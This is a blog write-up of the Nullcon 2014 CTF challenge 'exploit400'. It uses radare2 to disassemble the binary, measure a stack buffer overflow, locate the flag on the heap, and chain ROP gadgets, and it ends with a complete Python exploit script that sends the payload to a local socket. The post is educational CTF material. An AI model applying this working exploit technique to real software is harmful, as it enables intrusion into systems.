Since I screwed a phone interview today, I'll write a blogpost about the second challenge from the (small) workshop that I held some time ago, instead of moping :)
The challenge is a binary from the CTF held during Nullcon 2014, namely exploit400.
$ r2 -A ./exploit400
-- When you sold that exploit, what they really bought, was your silence.
[0x08048460]> i~nx
nx true
[0x08048460]> i~pic
pic false
[0x08048460]> i~canary
canary false
[0x08048460]> i~format
format elf
[0x08048460]>
An x86
binary, with the NX bit, lets disassemble it:
[0x08048514]> pdf @ main
╒ (fcn) sym.main 407
│ ; var int local_3 @ ebp-0xc
│ ; DATA XREF from 0x08048477 (sym.main)
│ ;-- main:
│ 0x08048514 55 push ebp
│ 0x08048515 89e5 mov ebp, esp
│ 0x08048517 57 push edi
│ 0x08048518 56 push esi
│ 0x08048519 53 push ebx
│ 0x0804851a 83e4f0 and esp, 0xfffffff0
│ 0x0804851d 83ec70 sub esp, 0x70
│ 0x08048520 c70424400000. mov dword [esp], 0x40
│ 0x08048527 e8c4feffff call sym.imp.malloc
│ 0x0804852c 8944246c mov dword [esp + 0x6c], eax
│ 0x08048530 837c246c00 cmp dword [esp + 0x6c], 0
│ ┌─< 0x08048535 7548 jne 0x804857f
│ │ 0x08048537 a1f4990408 mov eax, dword [obj.malloc_error] ; str.Memory_allocation_failed__n LEA obj.malloc_error
│ │ 0x0804853c c744241cffff. mov dword [esp + 0x1c], 0xffffffff
│ │ 0x08048544 89c2 mov edx, eax
│ │ 0x08048546 b800000000 mov eax, 0
│ │ 0x0804854b 8b4c241c mov ecx, dword [esp + 0x1c]
│ │ 0x0804854f 89d7 mov edi, edx
│ │ 0x08048551 f2ae repne scasb al, byte es:[edi]
│ │ 0x08048553 89c8 mov eax, ecx
│ │ 0x08048555 f7d0 not eax
│ │ 0x08048557 8d50ff lea edx, [eax - 1]
│ │ 0x0804855a a1f4990408 mov eax, dword [obj.malloc_error] ; str.Memory_allocation_failed__n LEA obj.malloc_error
│ │ 0x0804855f 89542408 mov dword [esp + 8], edx
│ │ 0x08048563 89442404 mov dword [esp + 4], eax
│ │ 0x08048567 c70424010000. mov dword [esp], 1
│ │ 0x0804856e e8cdfeffff call sym.imp.write
│ │ 0x08048573 c70424010000. mov dword [esp], 1
│ │ 0x0804857a e891feffff call sym.imp.exit
│ └ ; JMP XREF from 0x08048535 (sym.main)
│ └─> 0x0804857f c74424040000. mov dword [esp + 4], 0
│ 0x08048587 c70424c78704. mov dword [esp], str.._flag ; str.._flag ; "./flag" @ 0x80487c7
│ 0x0804858e e88dfeffff call sym.imp.open
│ 0x08048593 89442468 mov dword [esp + 0x68], eax
│ 0x08048597 837c246800 cmp dword [esp + 0x68], 0
│ ┌──< 0x0804859c 7948 jns 0x80485e6
│ │ 0x0804859e a1f8990408 mov eax, dword [obj.file_error] ; str.Opening_flag_failed__n
│ │ 0x080485a3 c744241cffff. mov dword [esp + 0x1c], 0xffffffff
│ │ 0x080485ab 89c2 mov edx, eax
│ │ 0x080485ad b800000000 mov eax, 0
│ │ 0x080485b2 8b4c241c mov ecx, dword [esp + 0x1c]
│ │ 0x080485b6 89d7 mov edi, edx
│ │ 0x080485b8 f2ae repne scasb al, byte es:[edi]
│ │ 0x080485ba 89c8 mov eax, ecx
│ │ 0x080485bc f7d0 not eax
│ │ 0x080485be 8d50ff lea edx, [eax - 1]
│ │ 0x080485c1 a1f8990408 mov eax, dword [obj.file_error] ; str.Opening_flag_failed__n
│ │ 0x080485c6 89542408 mov dword [esp + 8], edx
│ │ 0x080485ca 89442404 mov dword [esp + 4], eax
│ │ 0x080485ce c70424010000. mov dword [esp], 1
│ │ 0x080485d5 e866feffff call sym.imp.write
│ │ 0x080485da c70424010000. mov dword [esp], 1
│ │ 0x080485e1 e82afeffff call sym.imp.exit
│ └ ; JMP XREF from 0x0804859c (sym.main)
│ └──> 0x080485e6 e8f5fdffff call sym.imp.getuid
│ 0x080485eb 89c6 mov esi, eax
│ 0x080485ed e8eefdffff call sym.imp.getuid
│ 0x080485f2 89c3 mov ebx, eax
│ 0x080485f4 e8e7fdffff call sym.imp.getuid
│ 0x080485f9 89742408 mov dword [esp + 8], esi
│ 0x080485fd 895c2404 mov dword [esp + 4], ebx
│ 0x08048601 890424 mov dword [esp], eax
│ 0x08048604 e8b7fdffff call sym.imp.setresuid
│ 0x08048609 85c0 test eax, eax
│ ┌───< 0x0804860b 790c jns 0x8048619
│ │ 0x0804860d c70424010000. mov dword [esp], 1
│ │ 0x08048614 e8f7fdffff call sym.imp.exit
│ └ ; JMP XREF from 0x0804860b (sym.main)
│ └───> 0x08048619 c74424083f00. mov dword [esp + 8], 0x3f
│ 0x08048621 8b44246c mov eax, dword [esp + 0x6c]
│ 0x08048625 89442404 mov dword [esp + 4], eax
│ 0x08048629 8b442468 mov eax, dword [esp + 0x68]
│ 0x0804862d 890424 mov dword [esp], eax
│ 0x08048630 e89bfdffff call sym.imp.read
│ 0x08048635 8b442468 mov eax, dword [esp + 0x68]
│ 0x08048639 890424 mov dword [esp], eax
│ 0x0804863c e80ffeffff call sym.imp.close
│ 0x08048641 a1fc990408 mov eax, dword [obj.pwn] ; str.Good_Enough__Pwn_Me__n
│ 0x08048646 c744241cffff. mov dword [esp + 0x1c], 0xffffffff
│ 0x0804864e 89c2 mov edx, eax
│ 0x08048650 b800000000 mov eax, 0
│ 0x08048655 8b4c241c mov ecx, dword [esp + 0x1c]
│ 0x08048659 89d7 mov edi, edx
│ 0x0804865b f2ae repne scasb al, byte es:[edi]
│ 0x0804865d 89c8 mov eax, ecx
│ 0x0804865f f7d0 not eax
│ 0x08048661 8d50ff lea edx, [eax - 1]
│ 0x08048664 a1fc990408 mov eax, dword [obj.pwn] ; str.Good_Enough__Pwn_Me__n
│ 0x08048669 89542408 mov dword [esp + 8], edx
│ 0x0804866d 89442404 mov dword [esp + 4], eax
│ 0x08048671 c70424010000. mov dword [esp], 1
│ 0x08048678 e8c3fdffff call sym.imp.write
│ 0x0804867d c74424080008. mov dword [esp + 8], 0x800
│ 0x08048685 8d442428 lea eax, [esp + 0x28]
│ 0x08048689 89442404 mov dword [esp + 4], eax
│ 0x0804868d c70424000000. mov dword [esp], 0
│ 0x08048694 e837fdffff call sym.imp.read
│ 0x08048699 31c0 xor eax, eax
│ 0x0804869b 31db xor ebx, ebx
│ 0x0804869d 31c9 xor ecx, ecx
│ 0x0804869f 31f6 xor esi, esi
│ 0x080486a1 31ff xor edi, edi
│ 0x080486a3 8d65f4 lea esp, [ebp-local_3]
│ 0x080486a6 5b pop ebx
│ 0x080486a7 5e pop esi
│ 0x080486a8 5f pop edi
│ 0x080486a9 5d pop ebp
╘ 0x080486aa c3 ret
[0x08048514]>
So, the binary is:
- Allocating some space on the heap (offset 0x08048527).
- Opening a file called
./flag
(offset 0x0804858e). - Dropping its permissions (offset 0x08048604).
- Writing the content of the aforementioned file on the previously allocated space on the heap (offset 0x08048630).
- Closing the file descriptor (offset 0x0804863c).
- Writing a message to the user (offset 0x08048678).
- Reading some input on the stack, in a fixed-size buffer, with
read
(offset 0x08048694)
A classic stack-based buffer-overflow, the twist being that even if we drop a shell, we won't be able to read the file containing the flag; so all we have to do instead, is to read it directly from the heap!
How many bytes until we overwrite the return address?
$ ragg2 -P 128 -r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAZAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqA%
$ r2 -d ./exploit400
Process with PID 22503 started...
Attached debugger to pid = 22503, tid = 22503
Debugging pid = 22503, tid = 22503 now
Using BADDR 0x8048000
Assuming filepath ./exploit400
bits 32
Attached debugger to pid = 22503, tid = 22503
[0xf76fba90]> dc
Good Enough? Pwn Me!
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAZAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqA%
[+] SIGNAL 11 errno=0 addr=0x41694141 code=1 ret=0
Debugging pid = 22503, tid = 1 now
[+] signal 11 aka SIGSEGV received 0
[0x41694141]> dr=
eip 0x41694141 oeax 0xffffffff eax 0x00000000 ebx 0x64414163
ecx 0x00000000 edx 0x00000800 esp 0xffb952c0 ebp 0x68414167
esi 0x41654141 edi 0x41416641 eflags = 1PZIV
[0x41694141]> woO eip
100
[0x41694141]>
How can we know at which address the flag is stored? Remember that system-wide ASLR not only randomize the stack position, but also the heap.
At first, I wanted to decrease esp
until I could move it into
some register, and output it with write
, but I didn't manage
to find the right gadget to do that.
So, instead, I'll call malloc
to get an offset, add the right padding,
then print the result with write
. The ASLR only add a random offset
at the beginning of the program, and it's not changing at runtime;
this applies to the stack, but also the heap, at least on my machine,
so I guess that it does the same on the remote one.
If we look carefully at the main function, we can see this gadget:
mov dword [esp + 8], edx ; strlen
mov dword [esp + 4], eax ; string to print
mov dword [esp], 1 ; file descriptor
call sym.imp.write
Despite not ending with a ret
instruction, it's still a gadget ;)
I'm wondering what is the value of edx
at the end of the main
function…
$ r2 -A -d ./exploit400
Process with PID 29591 started...
Attached debugger to pid = 29591, tid = 29591
Debugging pid = 29591, tid = 29591 now
Using BADDR 0x8048000
Assuming filepath ./exploit400
bits 32
Attached debugger to pid = 29591, tid = 29591
-- Welcome to IDA 10.0.
[0x08048460]> afi main~size
size: 407
[0xf7766a90]> db main + 406
[0xf77bfa90]> dc
Good Enough? Pwn Me!
POUET
hit breakpoint at: 80486aa
Debugging pid = 29874, tid = 1 now
[0x080486aa]> dr edx
0x00000800
It's non-null, and it's a reasonably big number: 0x800
.
So, the plan is to:
- Call
malloc
to get an address from the heap. - Subtract the right offset to make
eax
point to the beginning of our flag. - Call our
write
gadget to get the flag.
The question being, how to compute the offset?
I modified my work-in-progress exploit to output the payload
on stdout
instead of on a socket, and:
$ cat exploit.py
import struct
def rop(*args):
return struct.pack('I'*len(args), *args)
mallocplt = 0x080483f0
popret = 0x080483a0
print('A' * 100 +
rop(
mallocplt,
popret,
1337,
0xcccccccc,
)
)
$ python exploit.py > input
$ cat profile.r2
#!/usr/bin/rarun2
program=./exploit400
stdin=input
$ r2 -d ./exploit400 -e dbg.profile=./profile.r2
Process with PID 30395 started...
Attached debugger to pid = 30395, tid = 30395
Debugging pid = 30395, tid = 30395 now
Using BADDR 0x8048000
Assuming filepath ./exploit400
bits 32
Attached debugger to pid = 30395, tid = 30395
-- Ask not what r2 can do for you - ask what you can do for r2
[0xf7760a90]> dc
Good Enough? Pwn Me!
[+] SIGNAL 11 errno=0 addr=0xcccccccc code=1 ret=0
Debugging pid = 30395, tid = 1 now
[+] signal 11 aka SIGSEGV received 0
[0xcccccccc]> dm
sys 4K 0x08048000 - 0x08049000 s -r-x /home/jvoisin/dev/r2/exploit/exploit400/exploit400
sys 4K 0x08049000 - 0x0804a000 s -rw- /home/jvoisin/dev/r2/exploit/exploit400/exploit400
sys 132K 0x09e02000 - 0x09e23000 s -rw- [heap]
sys 4K 0xf757b000 - 0xf757c000 s -rw- unk0
sys 1.7M 0xf757c000 - 0xf7730000 s -r-x /lib/i386-linux-gnu/libc-2.21.so
sys 12K 0xf7730000 - 0xf7733000 s -r-- /lib/i386-linux-gnu/libc-2.21.so
sys 8K 0xf7733000 - 0xf7735000 s -rw- /lib/i386-linux-gnu/libc-2.21.so
sys 8K 0xf7735000 - 0xf7737000 s -rw- unk1
sys 8K 0xf775b000 - 0xf775d000 s -rw- unk2
sys 8K 0xf775d000 - 0xf775f000 s -r-- [vvar]
sys 4K 0xf775f000 - 0xf7760000 s -r-x [vdso]
sys 136K 0xf7760000 - 0xf7782000 s -r-x /lib/i386-linux-gnu/ld-2.21.so
sys 4K 0xf7782000 - 0xf7783000 s -r-- /lib/i386-linux-gnu/ld-2.21.so
sys 4K 0xf7783000 - 0xf7784000 s -rw- /lib/i386-linux-gnu/ld-2.21.so
sys 132K 0xffd95000 - 0xffdb6000 s -rw- [stack]
[0xcccccccc]> e search.from = 0x09e02000
[0xcccccccc]> e search.to = 0x09e23000
[0xcccccccc]> / flag
Searching 4 bytes from 0x09e02000 to 0x09e23000: 66 6c 61 67
# 30395 [0x9e02000-0x9e23000]
hits: 1
0x09e02008 hit0_0 "flag"
[0xcccccccc]> dr eax
0x09e02050
[0xcccccccc]> ?v eax - hit0_0
0x48
[0xcccccccc]>
How do we subtract 0x48
from eax
?
[0x08048460]> /R sub eax
[0x08048460]> /R sub al
0x080486ed 2c24 sub al, 0x24
0x080486ef 89442408 mov dword [esp + 8], eax
0x080486f3 8b442434 mov eax, dword [esp + 0x34]
0x080486f7 89442404 mov dword [esp + 4], eax
0x080486fb ff94b320ffffff call dword [ebx + esi*4 - 0xe0]
Err, this seems convoluted. I'm quite sure there are other instructions
than sub
to do a subtraction on x86
.
$ git grep -c subtract libr/asm/d/x86
26
$ r2 ./ exploit400
-- Microloft Visual Radare.NET 2008. Now OOXML Powered!
[0x08048460]> /R sbb eax
[0x08048460]> /R sbb al
0x080486c1 1c8b sbb al, 0x8b
0x080486c3 6c insb byte es:[edi], dx
0x080486c4 2430 and al, 0x30
0x080486c6 8dbb20ffffff lea edi, [ebx - 0xe0]
0x080486cc e8a3fcffff call 0x8048374
0x0804870b 1c5b sbb al, 0x5b
0x0804870d 5e pop esi
0x0804870e 5f pop edi
0x0804870f 5d pop ebp
0x08048710 c3 ret
0x08048723 1c24 sbb al, 0x24
0x08048725 c3 ret
[0x08048460]>
Marvellous, two times 0x24
equals 0x48
!
So, we've got almost everything we need, except the address of malloc
in the PLT, and a pop ret
gadget, lets fix this:
[0x08048460]> ?v sym.imp.malloc # malloc@plt
0x80483f0
[0x08048460]> e rop.len =2
[0x08048460]> /Rl pop
0x080483a0: pop ebx; ret;
0x080484e3: pop ebp; ret;
0x080486a9: pop ebp; ret;
0x0804870f: pop ebp; ret;
0x08048758: pop ebp; ret;
0x08048774: pop ebx; ret;
[0x08048460]>
We now have everything required to write a working exploit:
import socket
import struct
def rop(*args):
return struct.pack('I'*len(args), *args)
mallocplt = 0x080483f0
popret = 0x08048774
subal24 = 0x08048723
print_flag = 0x08048669
s = socket.create_connection(('127.0.0.1', 4444))
payload = 'A' * 100
payload += rop(
mallocplt,
popret,
1337,
subal24,
subal24,
print_flag,
)
s.recv(1024)
s.send(payload)
print s.recv(1024)